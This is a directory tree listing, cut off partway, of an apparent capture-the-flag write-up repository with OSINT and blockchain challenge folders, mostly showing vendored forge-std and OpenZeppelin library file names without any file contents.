├── OSINT ├── Echoes in Stone │ ├── README.md │ └── assets │ │ ├── README.md │ │ └── Screenshot (1672).png ├── README.md ├── The Mechanical Birds Nest │ ├── README.md │ └── assets │ │ ├── README.md │ │ └── Screenshot (1665).png ├── The Ancient Citadel │ ├── README.md │ └── assets │ │ ├── README.md │ │ └── Screenshot (1671).png ├── The Hillside Haven │ ├── README.md │ └── assets │ │ ├── README.md │ │ └── Screenshot (1733).png ├── The Poisoned Scroll │ └── README.md ├── The Shadowed Sigil │ └── README.md └── The Stone That Whispers │ ├── README.md │ └── assets │ ├── 11111111111111111111111111111.png │ └── README.md ├── README.md ├── assets ├── banner.png ├── htb.png └── logo_htb.png ├── blockchain ├── EldoriaGate [Medium] │ ├── README.md │ ├── assets │ │ ├── ChallengeBanner.png │ │ └── EventBanner.jpg │ └── htb │ │ ├── .gitignore │ │ ├── requirements.txt │ │ └── solver.py ├── Eldorion [Very Easy] │ ├── README.md │ ├── assets │ │ ├── ChallengeBanner.png │ │ └── EventBanner.jpg │ └── htb │ │ ├── .gitignore │ │ ├── contracts │ │ ├── cache │ │ │ └── solidity-files-cache.json │ │ ├── foundry.toml │ │ ├── lib │ │ │ ├── forge-std │ │ │ │ ├── .gitattributes │ │ │ │ ├── .github │ │ │ │ │ └── workflows │ │ │ │ │ │ ├── ci.yml │ │ │ │ │ │ └── sync.yml │ │ │ │ ├── .gitignore │ │ │ │ ├── CONTRIBUTING.md │ │ │ │ ├── LICENSE-APACHE │ │ │ │ ├── LICENSE-MIT │ │ │ │ ├── README.md │ │ │ │ ├── foundry.toml │ │ │ │ ├── package.json │ │ │ │ ├── scripts │ │ │ │ │ └── vm.py │ │ │ │ └── test │ │ │ │ │ ├── StdAssertions.t.sol │ │ │ │ │ ├── StdChains.t.sol │ │ │ │ │ ├── StdCheats.t.sol │ │ │ │ │ ├── StdError.t.sol │ │ │ │ │ ├── StdJson.t.sol │ │ │ │ │ ├── StdMath.t.sol │ │ │ │ │ ├── StdStorage.t.sol │ │ │ │ │ ├── StdStyle.t.sol │ │ │ │ │ ├── StdToml.t.sol │ │ │ │ │ ├── StdUtils.t.sol │ │ │ │ │ ├── Vm.t.sol │ │ │ │ │ ├── compilation │ │ │ │ │ ├── CompilationScript.sol │ │ │ │ │ ├── CompilationScriptBase.sol │ │ │ │ │ ├── CompilationTest.sol │ │ │ │ │ └── CompilationTestBase.sol │ │ │ │ │ ├── fixtures │ │ │ │ │ ├── broadcast.log.json │ │ │ │ │ ├── test.json │ │ │ │ │ └── test.toml │ │ │ │ │ └── mocks │ │ │ │ │ ├── MockERC20.t.sol │ │ │ │ │ └── MockERC721.t.sol │ │ │ └── openzeppelin-contracts-upgradeable │ │ │ │ ├── .changeset │ │ │ │ ├── config.json │ │ │ │ ├── eighty-hounds-promise.md │ │ │ │ ├── four-chairs-help.md │ │ │ │ ├── great-lions-hear.md │ │ │ │ ├── healthy-books-shout.md │ │ │ │ ├── hot-shrimps-wait.md │ │ │ │ ├── lovely-dodos-lay.md │ │ │ │ ├── pink-wasps-hammer.md │ │ │ │ ├── proud-planes-arrive.md │ │ │ │ ├── seven-donkeys-tap.md │ │ │ │ ├── small-seahorses-bathe.md │ │ │ │ ├── tricky-bats-pretend.md │ │ │ │ └── weak-roses-bathe.md │ │ │ │ ├── .codecov.yml │ │ │ │ ├── .editorconfig │ │ │ │ ├── .githooks │ │ │ │ └── pre-push │ │ │ │ ├── .github │ │ │ │ ├── ISSUE_TEMPLATE │ │ │ │ │ └── config.yml │ │ │ │ ├── PULL_REQUEST_TEMPLATE.md │ │ │ │ ├── actions │ │ │ │ │ ├── gas-compare │ │ │ │ │ │ └── action.yml │ │ │ │ │ ├── setup │ │ │ │ │ │ └── action.yml │ │ │ │ │ └── storage-layout │ │ │ │ │ │ └── action.yml │ │ │ │ └── workflows │ │ │ │ │ ├── actionlint.yml │ │ │ │ │ ├── changeset.yml │ │ │ │ │ ├── checks.yml │ │ │ │ │ ├── docs.yml │ │ │ │ │ ├── formal-verification.yml │ │ │ │ │ ├── release-cycle.yml │ │ │ │ │ └── upgradeable.yml │ │ │ │ ├── .gitignore │ │ │ │ ├── .gitmodules │ │ │ │ ├── .mocharc.js │ │ │ │ ├── .prettierrc │ │ │ │ ├── .solcover.js │ │ │ │ ├── CHANGELOG.md │ │ │ │ ├── CODE_OF_CONDUCT.md │ │ │ │ ├── CONTRIBUTING.md │ │ │ │ ├── FUNDING.json │ │ │ │ ├── GUIDELINES.md │ │ │ │ ├── LICENSE │ │ │ │ ├── README.md │ │ │ │ ├── RELEASING.md │ │ │ │ ├── SECURITY.md │ │ │ │ ├── audits │ │ │ │ ├── 2017-03.md │ │ │ │ ├── 2018-10.pdf │ │ │ │ ├── 2022-10-Checkpoints.pdf │ │ │ │ ├── 2022-10-ERC4626.pdf │ │ │ │ ├── 2023-05-v4.9.pdf │ │ │ │ ├── 2023-10-v5.0.pdf │ │ │ │ ├── 2024-10-v5.1.pdf │ │ │ │ └── README.md │ │ │ │ ├── certora │ │ │ │ ├── .gitignore │ │ │ │ ├── Makefile │ │ │ │ ├── README.md │ │ │ │ ├── diff │ │ │ │ │ └── access_manager_AccessManager.sol.patch │ │ │ │ ├── harnesses │ │ │ │ │ ├── AccessControlDefaultAdminRulesHarness.sol │ │ │ │ │ ├── AccessControlHarness.sol │ │ │ │ │ ├── AccessManagedHarness.sol │ │ │ │ │ ├── AccessManagerHarness.sol │ │ │ │ │ ├── DoubleEndedQueueHarness.sol │ │ │ │ │ ├── ERC20FlashMintHarness.sol │ │ │ │ │ ├── ERC20PermitHarness.sol │ │ │ │ │ ├── ERC20WrapperHarness.sol │ │ │ │ │ ├── ERC3156FlashBorrowerHarness.sol │ │ │ │ │ ├── ERC721Harness.sol │ │ │ │ │ ├── ERC721ReceiverHarness.sol │ │ │ │ │ ├── EnumerableMapHarness.sol │ │ │ │ │ ├── EnumerableSetHarness.sol │ │ │ │ │ ├── InitializableHarness.sol │ │ │ │ │ ├── NoncesHarness.sol │ │ │ │ │ ├── Ownable2StepHarness.sol │ │ │ │ │ ├── OwnableHarness.sol │ │ │ │ │ ├── PausableHarness.sol │ │ │ │ │ └── TimelockControllerHarness.sol │ │ │ │ ├── reports │ │ │ │ │ ├── 2021-10.pdf │ │ │ │ │ ├── 2022-03.pdf │ │ │ │ │ └── 2022-05.pdf │ │ │ │ ├── run.js │ │ │ │ ├── specs.json │ │ │ │ └── specs │ │ │ │ │ ├── AccessControl.spec │ │ │ │ │ ├── AccessControlDefaultAdminRules.spec │ │ │ │ │ ├── AccessManaged.spec │ │ │ │ │ ├── AccessManager.spec │ │ │ │ │ ├── DoubleEndedQueue.spec │ │ │ │ │ ├── ERC20.spec │ │ │ │ │ ├── ERC20FlashMint.spec │ │ │ │ │ ├── ERC20Wrapper.spec │ │ │ │ │ ├── ERC721.spec │ │ │ │ │ ├── EnumerableMap.spec │ │ │ │ │ ├── EnumerableSet.spec │ │ │ │ │ ├── Initializable.spec │ │ │ │ │ ├── Nonces.spec │ │ │ │ │ ├── Ownable.spec │ │ │ │ │ ├── Ownable2Step.spec │ │ │ │ │ ├── Pausable.spec │ │ │ │ │ ├── TimelockController.spec │ │ │ │ │ ├── helpers │ │ │ │ │ └── helpers.spec │ │ │ │ │ └── methods │ │ │ │ │ ├── IAccessControl.spec │ │ │ │ │ ├── IAccessControlDefaultAdminRules.spec │ │ │ │ │ ├── IAccessManaged.spec │ │ │ │ │ ├── IAccessManager.spec │ │ │ │ │ ├── IERC20.spec │ │ │ │ │ ├── IERC2612.spec │ │ │ │ │ ├── IERC3156FlashBorrower.spec │ │ │ │ │ ├── IERC3156FlashLender.spec │ │ │ │ │ ├── IERC5313.spec │ │ │ │ │ ├── IERC721.spec │ │ │ │ │ ├── IERC721Receiver.spec │ │ │ │ │ ├── IOwnable.spec │ │ │ │ │ └── IOwnable2Step.spec │ │ │ │ ├── contracts │ │ │ │ ├── access │ │ │ │ │ ├── AccessControlUpgradeable.sol │ │ │ │ │ ├── Ownable2StepUpgradeable.sol │ │ │ │ │ ├── OwnableUpgradeable.sol │ │ │ │ │ ├── README.adoc │ │ │ │ │ ├── extensions │ │ │ │ │ │ ├── AccessControlDefaultAdminRulesUpgradeable.sol │ │ │ │ │ │ └── AccessControlEnumerableUpgradeable.sol │ │ │ │ │ └── manager │ │ │ │ │ │ ├── AccessManagedUpgradeable.sol │ │ │ │ │ │ └── AccessManagerUpgradeable.sol │ │ │ │ ├── account │ │ │ │ │ └── README.adoc │ │ │ │ ├── finance │ │ │ │ │ ├── README.adoc │ │ │ │ │ ├── VestingWalletCliffUpgradeable.sol │ │ │ │ │ └── VestingWalletUpgradeable.sol │ │ │ │ ├── governance │ │ │ │ │ ├── GovernorUpgradeable.sol │ │ │ │ │ ├── README.adoc │ │ │ │ │ ├── TimelockControllerUpgradeable.sol │ │ │ │ │ ├── extensions │ │ │ │ │ │ ├── GovernorCountingFractionalUpgradeable.sol │ │ │ │ │ │ ├── GovernorCountingOverridableUpgradeable.sol │ │ │ │ │ │ ├── GovernorCountingSimpleUpgradeable.sol │ │ │ │ │ │ ├── GovernorPreventLateQuorumUpgradeable.sol │ │ │ │ │ │ ├── GovernorSettingsUpgradeable.sol │ │ │ │ │ │ ├── GovernorStorageUpgradeable.sol │ │ │ │ │ │ ├── GovernorTimelockAccessUpgradeable.sol │ │ │ │ │ │ ├── GovernorTimelockCompoundUpgradeable.sol │ │ │ │ │ │ ├── GovernorTimelockControlUpgradeable.sol │ │ │ │ │ │ ├── GovernorVotesQuorumFractionUpgradeable.sol │ │ │ │ │ │ └── GovernorVotesUpgradeable.sol │ │ │ │ │ └── utils │ │ │ │ │ │ ├── VotesExtendedUpgradeable.sol │ │ │ │ │ │ └── VotesUpgradeable.sol │ │ │ │ ├── interfaces │ │ │ │ │ └── README.adoc │ │ │ │ ├── metatx │ │ │ │ │ ├── ERC2771ContextUpgradeable.sol │ │ │ │ │ ├── ERC2771ForwarderUpgradeable.sol │ │ │ │ │ └── README.adoc │ │ │ │ ├── mocks │ │ │ │ │ ├── AccessManagedTargetUpgradeable.sol │ │ │ │ │ ├── AccessManagerMockUpgradeable.sol │ │ │ │ │ ├── ArraysMockUpgradeable.sol │ │ │ │ │ ├── AuthorityMockUpgradeable.sol │ │ │ │ │ ├── Base64DirtyUpgradeable.sol │ │ │ │ │ ├── BatchCallerUpgradeable.sol │ │ │ │ │ ├── CallReceiverMockUpgradeable.sol │ │ │ │ │ ├── ConstructorMockUpgradeable.sol │ │ │ │ │ ├── ContextMockUpgradeable.sol │ │ │ │ │ ├── DummyImplementationUpgradeable.sol │ │ │ │ │ ├── EIP712VerifierUpgradeable.sol │ │ │ │ │ ├── ERC1271WalletMockUpgradeable.sol │ │ │ │ │ ├── ERC165 │ │ │ │ │ │ ├── ERC165InterfacesSupportedUpgradeable.sol │ │ │ │ │ │ ├── ERC165MaliciousDataUpgradeable.sol │ │ │ │ │ │ ├── ERC165MissingDataUpgradeable.sol │ │ │ │ │ │ ├── ERC165NotSupportedUpgradeable.sol │ │ │ │ │ │ └── ERC165ReturnBombUpgradeable.sol │ │ │ │ │ ├── ERC2771ContextMockUpgradeable.sol │ │ │ │ │ ├── ERC3156FlashBorrowerMockUpgradeable.sol │ │ │ │ │ ├── EtherReceiverMockUpgradeable.sol │ │ │ │ │ ├── InitializableMock.sol │ │ │ │ │ ├── MerkleProofCustomHashMockUpgradeable.sol │ │ │ │ │ ├── MerkleTreeMockUpgradeable.sol │ │ │ │ │ ├── MulticallHelperUpgradeable.sol │ │ │ │ │ ├── MultipleInheritanceInitializableMocks.sol │ │ │ │ │ ├── PausableMockUpgradeable.sol │ │ │ │ │ ├── ReentrancyAttackUpgradeable.sol │ │ │ │ │ ├── ReentrancyMockUpgradeable.sol │ │ │ │ │ ├── ReentrancyTransientMockUpgradeable.sol │ │ │ │ │ ├── RegressionImplementation.sol │ │ │ │ │ ├── SingleInheritanceInitializableMocks.sol │ │ │ │ │ ├── StatelessUpgradeable.sol │ │ │ │ │ ├── StorageSlotMockUpgradeable.sol │ │ │ │ │ ├── TimelockReentrantUpgradeable.sol │ │ │ │ │ ├── TransientSlotMockUpgradeable.sol │ │ │ │ │ ├── UpgradeableBeaconMockUpgradeable.sol │ │ │ │ │ ├── VotesExtendedMockUpgradeable.sol │ │ │ │ │ ├── VotesMockUpgradeable.sol │ │ │ │ │ ├── WithInit.sol │ │ │ │ │ ├── account │ │ │ │ │ │ └── utils │ │ │ │ │ │ │ └── ERC7579UtilsMockUpgradeable.sol │ │ │ │ │ ├── compound │ │ │ │ │ │ └── CompTimelockUpgradeable.sol │ │ │ │ │ ├── docs │ │ │ │ │ │ ├── ERC20WithAutoMinerRewardUpgradeable.sol │ │ │ │ │ │ ├── ERC4626FeesUpgradeable.sol │ │ │ │ │ │ ├── MyNFTUpgradeable.sol │ │ │ │ │ │ ├── access-control │ │ │ │ │ │ │ ├── AccessControlERC20MintBaseUpgradeable.sol │ │ │ │ │ │ │ ├── AccessControlERC20MintMissingUpgradeable.sol │ │ │ │ │ │ │ ├── AccessControlERC20MintOnlyRoleUpgradeable.sol │ │ │ │ │ │ │ ├── AccessControlModifiedUpgradeable.sol │ │ │ │ │ │ │ ├── AccessControlNonRevokableAdminUpgradeable.sol │ │ │ │ │ │ │ ├── AccessManagedERC20MintBaseUpgradeable.sol │ │ │ │ │ │ │ └── MyContractOwnableUpgradeable.sol │ │ │ │ │ │ ├── governance │ │ │ │ │ │ │ ├── MyGovernorUpgradeable.sol │ │ │ │ │ │ │ ├── MyTokenTimestampBasedUpgradeable.sol │ │ │ │ │ │ │ ├── MyTokenUpgradeable.sol │ │ │ │ │ │ │ └── MyTokenWrappedUpgradeable.sol │ │ │ │ │ │ ├── token │ │ │ │ │ │ │ ├── ERC1155 │ │ │ │ │ │ │ │ ├── GameItemsUpgradeable.sol │ │ │ │ │ │ │ │ └── MyERC115HolderContractUpgradeable.sol │ │ │ │ │ │ │ ├── ERC20 │ │ │ │ │ │ │ │ └── GLDTokenUpgradeable.sol │ │ │ │ │ │ │ └── ERC721 │ │ │ │ │ │ │ │ └── GameItemUpgradeable.sol │ │ │ │ │ │ └── utilities │ │ │ │ │ │ │ ├── Base64NFTUpgradeable.sol │ │ │ │ │ │ │ └── MulticallUpgradeable.sol │ │ │ │ │ ├── governance │ │ │ │ │ │ ├── GovernorCountingOverridableMockUpgradeable.sol │ │ │ │ │ │ ├── GovernorFractionalMockUpgradeable.sol │ │ │ │ │ │ ├── GovernorMockUpgradeable.sol │ │ │ │ │ │ ├── GovernorPreventLateQuorumMockUpgradeable.sol │ │ │ │ │ │ ├── GovernorStorageMockUpgradeable.sol │ │ │ │ │ │ ├── GovernorTimelockAccessMockUpgradeable.sol │ │ │ │ │ │ ├── GovernorTimelockCompoundMockUpgradeable.sol │ │ │ │ │ │ ├── GovernorTimelockControlMockUpgradeable.sol │ │ │ │ │ │ ├── GovernorVoteMockUpgradeable.sol │ │ │ │ │ │ └── GovernorWithParamsMockUpgradeable.sol │ │ │ │ │ ├── proxy │ │ │ │ │ │ ├── BadBeaconUpgradeable.sol │ │ │ │ │ │ ├── ClashingImplementationUpgradeable.sol │ │ │ │ │ │ └── UUPSUpgradeableMockUpgradeable.sol │ │ │ │ │ └── token │ │ │ │ │ │ ├── ERC1155ReceiverMockUpgradeable.sol │ │ │ │ │ │ ├── ERC1363ForceApproveMockUpgradeable.sol │ │ │ │ │ │ ├── ERC1363NoReturnMockUpgradeable.sol │ │ │ │ │ │ ├── ERC1363ReceiverMockUpgradeable.sol │ │ │ │ │ │ ├── ERC1363ReturnFalseMockUpgradeable.sol │ │ │ │ │ │ ├── ERC1363SpenderMockUpgradeable.sol │ │ │ │ │ │ ├── ERC20ApprovalMockUpgradeable.sol │ │ │ │ │ │ ├── ERC20DecimalsMockUpgradeable.sol │ │ │ │ │ │ ├── ERC20ExcessDecimalsMockUpgradeable.sol │ │ │ │ │ │ ├── ERC20FlashMintMockUpgradeable.sol │ │ │ │ │ │ ├── ERC20ForceApproveMockUpgradeable.sol │ │ │ │ │ │ ├── ERC20GetterHelperUpgradeable.sol │ │ │ │ │ │ ├── ERC20MockUpgradeable.sol │ │ │ │ │ │ ├── ERC20MulticallMockUpgradeable.sol │ │ │ │ │ │ ├── ERC20NoReturnMockUpgradeable.sol │ │ │ │ │ │ ├── ERC20ReentrantUpgradeable.sol │ │ │ │ │ │ ├── ERC20ReturnFalseMockUpgradeable.sol │ │ │ │ │ │ ├── ERC20VotesAdditionalCheckpointsMockUpgradeable.sol │ │ │ │ │ │ ├── ERC20VotesLegacyMockUpgradeable.sol │ │ │ │ │ │ ├── ERC20VotesTimestampMockUpgradeable.sol │ │ │ │ │ │ ├── ERC4626LimitsMockUpgradeable.sol │ │ │ │ │ │ ├── ERC4626MockUpgradeable.sol │ │ │ │ │ │ ├── ERC4626OffsetMockUpgradeable.sol │ │ │ │ │ │ ├── ERC4646FeesMockUpgradeable.sol │ │ │ │ │ │ ├── ERC721ConsecutiveEnumerableMockUpgradeable.sol │ │ │ │ │ │ ├── ERC721ConsecutiveMockUpgradeable.sol │ │ │ │ │ │ ├── ERC721ReceiverMockUpgradeable.sol │ │ │ │ │ │ └── ERC721URIStorageMockUpgradeable.sol │ │ │ │ ├── package.json │ │ │ │ ├── proxy │ │ │ │ │ ├── README.adoc │ │ │ │ │ └── utils │ │ │ │ │ │ ├── Initializable.sol │ │ │ │ │ │ └── UUPSUpgradeable.sol │ │ │ │ ├── token │ │ │ │ │ ├── ERC1155 │ │ │ │ │ │ ├── ERC1155Upgradeable.sol │ │ │ │ │ │ ├── README.adoc │ │ │ │ │ │ ├── extensions │ │ │ │ │ │ │ ├── ERC1155BurnableUpgradeable.sol │ │ │ │ │ │ │ ├── ERC1155PausableUpgradeable.sol │ │ │ │ │ │ │ ├── ERC1155SupplyUpgradeable.sol │ │ │ │ │ │ │ └── ERC1155URIStorageUpgradeable.sol │ │ │ │ │ │ └── utils │ │ │ │ │ │ │ └── ERC1155HolderUpgradeable.sol │ │ │ │ │ ├── ERC20 │ │ │ │ │ │ ├── ERC20Upgradeable.sol │ │ │ │ │ │ ├── README.adoc │ │ │ │ │ │ └── extensions │ │ │ │ │ │ │ ├── ERC1363Upgradeable.sol │ │ │ │ │ │ │ ├── ERC20BurnableUpgradeable.sol │ │ │ │ │ │ │ ├── ERC20CappedUpgradeable.sol │ │ │ │ │ │ │ ├── ERC20FlashMintUpgradeable.sol │ │ │ │ │ │ │ ├── ERC20PausableUpgradeable.sol │ │ │ │ │ │ │ ├── ERC20PermitUpgradeable.sol │ │ │ │ │ │ │ ├── ERC20VotesUpgradeable.sol │ │ │ │ │ │ │ ├── ERC20WrapperUpgradeable.sol │ │ │ │ │ │ │ ├── ERC4626Upgradeable.sol │ │ │ │ │ │ │ └── draft-ERC20TemporaryApprovalUpgradeable.sol │ │ │ │ │ ├── ERC721 │ │ │ │ │ │ ├── ERC721Upgradeable.sol │ │ │ │ │ │ ├── README.adoc │ │ │ │ │ │ ├── extensions │ │ │ │ │ │ │ ├── ERC721BurnableUpgradeable.sol │ │ │ │ │ │ │ ├── ERC721ConsecutiveUpgradeable.sol │ │ │ │ │ │ │ ├── ERC721EnumerableUpgradeable.sol │ │ │ │ │ │ │ ├── ERC721PausableUpgradeable.sol │ │ │ │ │ │ │ ├── ERC721RoyaltyUpgradeable.sol │ │ │ │ │ │ │ ├── ERC721URIStorageUpgradeable.sol │ │ │ │ │ │ │ ├── ERC721VotesUpgradeable.sol │ │ │ │ │ │ │ └── ERC721WrapperUpgradeable.sol │ │ │ │ │ │ └── utils │ │ │ │ │ │ │ └── ERC721HolderUpgradeable.sol │ │ │ │ │ └── common │ │ │ │ │ │ ├── ERC2981Upgradeable.sol │ │ │ │ │ │ └── README.adoc │ │ │ │ ├── utils │ │ │ │ │ ├── ContextUpgradeable.sol │ │ │ │ │ ├── MulticallUpgradeable.sol │ │ │ │ │ ├── NoncesKeyedUpgradeable.sol │ │ │ │ │ ├── NoncesUpgradeable.sol │ │ │ │ │ ├── PausableUpgradeable.sol │ │ │ │ │ ├── README.adoc │ │ │ │ │ ├── ReentrancyGuardTransientUpgradeable.sol │ │ │ │ │ ├── ReentrancyGuardUpgradeable.sol │ │ │ │ │ ├── cryptography │ │ │ │ │ │ └── EIP712Upgradeable.sol │ │ │ │ │ └── introspection │ │ │ │ │ │ └── ERC165Upgradeable.sol │ │ │ │ └── vendor │ │ │ │ │ └── compound │ │ │ │ │ └── LICENSE │ │ │ │ ├── docs │ │ │ │ ├── README.md │ │ │ │ ├── antora.yml │ │ │ │ ├── config.js │ │ │ │ ├── modules │ │ │ │ │ └── ROOT │ │ │ │ │ │ ├── images │ │ │ │ │ │ ├── access-control-multiple.svg │ │ │ │ │ │ ├── access-manager-functions.svg │ │ │ │ │ │ ├── access-manager.svg │ │ │ │ │ │ ├── erc4626-attack-3a.png │ │ │ │ │ │ ├── erc4626-attack-3b.png │ │ │ │ │ │ ├── erc4626-attack-6.png │ │ │ │ │ │ ├── erc4626-attack.png │ │ │ │ │ │ ├── erc4626-deposit.png │ │ │ │ │ │ ├── erc4626-mint.png │ │ │ │ │ │ ├── erc4626-rate-linear.png │ │ │ │ │ │ ├── erc4626-rate-loglog.png │ │ │ │ │ │ ├── erc4626-rate-loglogext.png │ │ │ │ │ │ ├── tally-exec.png │ │ │ │ │ │ └── tally-vote.png │ │ │ │ │ │ ├── nav.adoc │ │ │ │ │ │ └── pages │ │ │ │ │ │ ├── access-control.adoc │ │ │ │ │ │ ├── backwards-compatibility.adoc │ │ │ │ │ │ ├── crowdsales.adoc │ │ │ │ │ │ ├── drafts.adoc │ │ │ │ │ │ ├── erc1155.adoc │ │ │ │ │ │ ├── erc20-supply.adoc │ │ │ │ │ │ ├── erc20.adoc │ │ │ │ │ │ ├── erc4626.adoc │ │ │ │ │ │ ├── erc721.adoc │ │ │ │ │ │ ├── extending-contracts.adoc │ │ │ │ │ │ ├── faq.adoc │ │ │ │ │ │ ├── governance.adoc │ │ │ │ │ │ ├── index.adoc │ │ │ │ │ │ ├── tokens.adoc │ │ │ │ │ │ ├── upgradeable.adoc │ │ │ │ │ │ ├── utilities.adoc │ │ │ │ │ │ └── wizard.adoc │ │ │ │ └── templates │ │ │ │ │ ├── contract.hbs │ │ │ │ │ ├── helpers.js │ │ │ │ │ ├── page.hbs │ │ │ │ │ └── properties.js │ │ │ │ ├── eslint.config.mjs │ │ │ │ ├── foundry.toml │ │ │ │ ├── fv-requirements.txt │ │ │ │ ├── hardhat.config.js │ │ │ │ ├── hardhat │ │ │ │ ├── async-test-sanity.js │ │ │ │ ├── env-artifacts.js │ │ │ │ ├── ignore-unreachable-warnings.js │ │ │ │ ├── remappings.js │ │ │ │ ├── skip-foundry-tests.js │ │ │ │ └── task-test-get-files.js │ │ │ │ ├── lib │ │ │ │ ├── erc4626-tests │ │ │ │ │ ├── ERC4626.prop.sol │ │ │ │ │ ├── ERC4626.test.sol │ │ │ │ │ ├── LICENSE │ │ │ │ │ └── README.md │ │ │ │ ├── forge-std │ │ │ │ │ ├── .gitattributes │ │ │ │ │ ├── .github │ │ │ │ │ │ └── workflows │ │ │ │ │ │ │ ├── ci.yml │ │ │ │ │ │ │ └── sync.yml │ │ │ │ │ ├── .gitignore │ │ │ │ │ ├── CONTRIBUTING.md │ │ │ │ │ ├── LICENSE-APACHE │ │ │ │ │ ├── LICENSE-MIT │ │ │ │ │ ├── README.md │ │ │ │ │ ├── foundry.toml │ │ │ │ │ ├── package.json │ │ │ │ │ ├── scripts │ │ │ │ │ │ └── vm.py │ │ │ │ │ └── test │ │ │ │ │ │ ├── StdAssertions.t.sol │ │ │ │ │ │ ├── StdChains.t.sol │ │ │ │ │ │ ├── StdCheats.t.sol │ │ │ │ │ │ ├── StdError.t.sol │ │ │ │ │ │ ├── StdJson.t.sol │ │ │ │ │ │ ├── StdMath.t.sol │ │ │ │ │ │ ├── StdStorage.t.sol │ │ │ │ │ │ ├── StdStyle.t.sol │ │ │ │ │ │ ├── StdToml.t.sol │ │ │ │ │ │ ├── StdUtils.t.sol │ │ │ │ │ │ ├── Vm.t.sol │ │ │ │ │ │ ├── compilation │ │ │ │ │ │ ├── CompilationScript.sol │ │ │ │ │ │ ├── CompilationScriptBase.sol │ │ │ │ │ │ ├── CompilationTest.sol │ │ │ │ │ │ └── CompilationTestBase.sol │ │ │ │ │ │ ├── fixtures │ │ │ │ │ │ ├── broadcast.log.json │ │ │ │ │ │ ├── test.json │ │ │ │ │ │ └── test.toml │ │ │ │ │ │ └── mocks │ │ │ │ │ │ ├── MockERC20.t.sol │ │ │ │ │ │ └── MockERC721.t.sol │ │ │ │ ├── halmos-cheatcodes │ │ │ │ │ ├── LICENSE │ │ │ │ │ └── README.md │ │ │ │ └── openzeppelin-contracts │ │ │ │ │ ├── .changeset │ │ │ │ │ ├── config.json │ │ │ │ │ ├── eighty-hounds-promise.md │ │ │ │ │ ├── four-chairs-help.md │ │ │ │ │ ├── great-lions-hear.md │ │ │ │ │ ├── healthy-books-shout.md │ │ │ │ │ ├── hot-shrimps-wait.md │ │ │ │ │ ├── lovely-dodos-lay.md │ │ │ │ │ ├── pink-wasps-hammer.md │ │ │ │ │ ├── proud-planes-arrive.md │ │ │ │ │ ├── seven-donkeys-tap.md │ │ │ │ │ ├── small-seahorses-bathe.md │ │ │ │ │ ├── tricky-bats-pretend.md │ │ │ │ │ └── weak-roses-bathe.md │ │ │ │ │ ├── .codecov.yml │ │ │ │ │ ├── .editorconfig │ │ │ │ │ ├── .githooks │ │ │ │ │ └── pre-push │ │ │ │ │ ├── .github │ │ │ │ │ ├── ISSUE_TEMPLATE │ │ │ │ │ │ ├── bug_report.md │ │ │ │ │ │ ├── config.yml │ │ │ │ │ │ └── feature_request.md │ │ │ │ │ ├── PULL_REQUEST_TEMPLATE.md │ │ │ │ │ ├── actions │ │ │ │ │ │ ├── gas-compare │ │ │ │ │ │ │ └── action.yml │ │ │ │ │ │ ├── setup │ │ │ │ │ │ │ └── action.yml │ │ │ │ │ │ └── storage-layout │ │ │ │ │ │ │ └── action.yml │ │ │ │ │ └── workflows │ │ │ │ │ │ ├── actionlint.yml │ │ │ │ │ │ ├── changeset.yml │ │ │ │ │ │ ├── checks.yml │ │ │ │ │ │ ├── docs.yml │ │ │ │ │ │ ├── formal-verification.yml │ │ │ │ │ │ ├── release-cycle.yml │ │ │ │ │ │ └── upgradeable.yml │ │ │ │ │ ├── .gitignore │ │ │ │ │ ├── .gitmodules │ │ │ │ │ ├── .mocharc.js │ │ │ │ │ ├── .prettierrc │ │ │ │ │ ├── .solcover.js │ │ │ │ │ ├── CHANGELOG.md │ │ │ │ │ ├── CODE_OF_CONDUCT.md │ │ │ │ │ ├── CONTRIBUTING.md │ │ │ │ │ ├── FUNDING.json │ │ │ │ │ ├── GUIDELINES.md │ │ │ │ │ ├── LICENSE │ │ │ │ │ ├── README.md │ │ │ │ │ ├── RELEASING.md │ │ │ │ │ ├── SECURITY.md │ │ │ │ │ ├── audits │ │ │ │ │ ├── 2017-03.md │ │ │ │ │ ├── 2018-10.pdf │ │ │ │ │ ├── 2022-10-Checkpoints.pdf │ │ │ │ │ ├── 2022-10-ERC4626.pdf │ │ │ │ │ ├── 2023-05-v4.9.pdf │ │ │ │ │ ├── 2023-10-v5.0.pdf │ │ │ │ │ ├── 2024-10-v5.1.pdf │ │ │ │ │ └── README.md │ │ │ │ │ ├── certora │ │ │ │ │ ├── .gitignore │ │ │ │ │ ├── Makefile │ │ │ │ │ ├── README.md │ │ │ │ │ ├── diff │ │ │ │ │ │ └── access_manager_AccessManager.sol.patch │ │ │ │ │ ├── harnesses │ │ │ │ │ │ ├── AccessControlDefaultAdminRulesHarness.sol │ │ │ │ │ │ ├── AccessControlHarness.sol │ │ │ │ │ │ ├── AccessManagedHarness.sol │ │ │ │ │ │ ├── AccessManagerHarness.sol │ │ │ │ │ │ ├── DoubleEndedQueueHarness.sol │ │ │ │ │ │ ├── ERC20FlashMintHarness.sol │ │ │ │ │ │ ├── ERC20PermitHarness.sol │ │ │ │ │ │ ├── ERC20WrapperHarness.sol │ │ │ │ │ │ ├── ERC3156FlashBorrowerHarness.sol │ │ │ │ │ │ ├── ERC721Harness.sol │ │ │ │ │ │ ├── ERC721ReceiverHarness.sol │ │ │ │ │ │ ├── EnumerableMapHarness.sol │ │ │ │ │ │ ├── EnumerableSetHarness.sol │ │ │ │ │ │ ├── InitializableHarness.sol │ │ │ │ │ │ ├── NoncesHarness.sol │ │ │ │ │ │ ├── Ownable2StepHarness.sol │ │ │ │ │ │ ├── OwnableHarness.sol │ │ │ │ │ │ ├── PausableHarness.sol │ │ │ │ │ │ └── TimelockControllerHarness.sol │ │ │ │ │ ├── reports │ │ │ │ │ │ ├── 2021-10.pdf │ │ │ │ │ │ ├── 2022-03.pdf │ │ │ │ │ │ └── 2022-05.pdf │ │ │ │ │ ├── run.js │ │ │ │ │ ├── specs.json │ │ │ │ │ └── specs │ │ │ │ │ │ ├── AccessControl.spec │ │ │ │ │ │ ├── AccessControlDefaultAdminRules.spec │ │ │ │ │ │ ├── AccessManaged.spec │ │ │ │ │ │ ├── AccessManager.spec │ │ │ │ │ │ ├── DoubleEndedQueue.spec │ │ │ │ │ │ ├── ERC20.spec │ │ │ │ │ │ ├── ERC20FlashMint.spec │ │ │ │ │ │ ├── ERC20Wrapper.spec │ │ │ │ │ │ ├── ERC721.spec │ │ │ │ │ │ ├── EnumerableMap.spec │ │ │ │ │ │ ├── EnumerableSet.spec │ │ │ │ │ │ ├── Initializable.spec │ │ │ │ │ │ ├── Nonces.spec │ │ │ │ │ │ ├── 